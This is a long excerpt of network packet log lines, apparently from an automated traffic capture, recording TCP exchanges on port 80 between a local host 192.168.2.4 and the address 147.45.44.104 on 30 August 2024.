Aug 30, 2024 06:17:04.119335890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.119345903 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.119357109 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.119366884 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.119394064 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.119409084 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.119812012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.119821072 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.119829893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.119857073 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.119879007 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.119942904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.119952917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.119961977 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.119971991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.119981050 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.119990110 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120012045 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120022058 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120035887 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120045900 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120054007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120064020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120069981 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120071888 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120081902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120083094 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120091915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120104074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120106936 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120132923 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120142937 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120166063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120176077 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120223999 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120275021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120290041 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120299101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120318890 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120327950 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120496988 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120507956 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120517015 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120532990 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120564938 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120742083 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120750904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120759964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120769978 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120779037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120786905 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120788097 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120804071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120812893 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120814085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120824099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120826960 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120834112 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120843887 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120852947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120860100 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120877981 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120883942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120893002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120899916 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120902061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120910883 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120922089 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120927095 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120932102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120949030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.120949984 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.120985985 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121011972 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121021986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121028900 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121037960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121047974 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121049881 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121066093 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121093988 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121119022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121128082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121135950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121151924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121157885 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121162891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121169090 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121174097 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121197939 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121218920 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121227980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121237040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121244907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121253967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121270895 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121294975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121315956 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121325016 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121354103 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121414900 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121424913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121455908 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121476889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121486902 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121495008 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121504068 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121520042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121520996 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121531010 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121532917 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121540070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121550083 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121556997 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121570110 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121597052 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121622086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121632099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121642113 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121661901 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121684074 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121686935 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121695995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121702909 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121714115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121722937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121730089 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121741056 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121752024 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121762037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121766090 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121772051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.121786118 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.121817112 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.164601088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.164623976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.164633036 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.164648056 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.164659977 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.164737940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.164752960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.164762974 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.164772987 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.164782047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.164791107 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.164798975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.164824009 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.182569981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.182579041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.182591915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.182629108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.182637930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.182646990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.182658911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.182763100 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.195400953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195452929 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.195617914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195626020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195631027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195638895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195642948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195652008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195662022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195672035 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.195691109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.195745945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195755005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195764065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195772886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195781946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195791006 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.195791960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195804119 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.195822954 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.195894957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195904016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195913076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195925951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195935011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195939064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.195944071 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.195945024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195955038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195964098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.195974112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.195998907 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196031094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196043015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196053028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196063042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196068048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196089983 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196104050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196160078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196168900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196177959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196187973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196204901 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196227074 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196300030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196314096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196321964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196331024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196341991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196350098 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196351051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196361065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196362972 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196371078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196381092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196384907 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196391106 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196414948 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196429014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196439028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196454048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196463108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196464062 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196499109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196644068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196652889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196661949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196671009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196681023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196686983 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196691036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196691990 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196700096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196710110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196712017 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196734905 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196751118 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196790934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196805954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196814060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196824074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196834087 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196835995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196856976 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196865082 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196882963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196894884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196902990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196913004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196922064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196928024 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196933985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196943998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196947098 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196954966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.196958065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.196979046 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197000980 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197119951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197130919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197139978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197163105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197176933 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197200060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197211027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197220087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197232008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197235107 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197242022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197259903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197271109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197457075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197472095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197480917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197489977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197494030 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197501898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197508097 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197510958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197520971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197526932 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197530031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197537899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197545052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197554111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197563887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197565079 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197573900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197583914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197583914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197592020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197598934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197604895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197612047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197633028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197807074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197815895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197824955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197834969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197843075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197849035 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197853088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197861910 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197873116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197875977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197875977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197882891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197890997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197901011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197901011 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197922945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197937012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.197961092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.197969913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.198002100 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.198019981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.198029995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.198039055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.198049068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.198059082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.198060989 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.198069096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.198082924 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.198103905 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.206196070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206250906 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.206274986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206285954 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206321001 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206325054 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.206330061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206338882 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206348896 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206358910 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.206365108 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.206382036 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.206392050 CEST	49735	80	192.168.2.4	147.45.44.104
